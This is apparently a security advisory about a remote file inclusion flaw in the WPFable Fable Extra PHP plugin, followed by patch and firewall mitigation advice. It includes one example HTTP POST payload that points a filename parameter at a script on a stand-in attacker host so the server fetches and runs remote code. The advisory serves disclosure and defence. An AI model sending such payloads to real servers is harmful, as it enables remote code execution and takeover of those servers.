How the Exploit Works
The flaw exists because of an improper control of filename for Include/Require statement in PHP program. An attacker could exploit this issue by injecting malicious scripts in the PHP files on the server. Once included, these scripts could execute arbitrary code in the context of the running server, potentially leading to full system compromise.
Conceptual Example Code
The following is a conceptual example of a malicious payload that could exploit this vulnerability:
POST /vulnerable/path/to/file.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
filename=http://evil.com/malicious_script.phpIn this example, the attacker is sending a POST request to a vulnerable script `file.php` on the victim’s server. The filename parameter includes a URL to a malicious script hosted on `evil.com`, leading to the server executing the malicious script.
Mitigation and Prevention
The primary mitigation for this vulnerability is to apply the vendor-supplied patch. It is strongly recommended that users of affected versions of WPFable Fable Extra upgrade to the latest version as soon as possible. As a temporary measure, users can also configure their Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability. However, this should not be considered a long-term solution as it does not address the underlying issue.
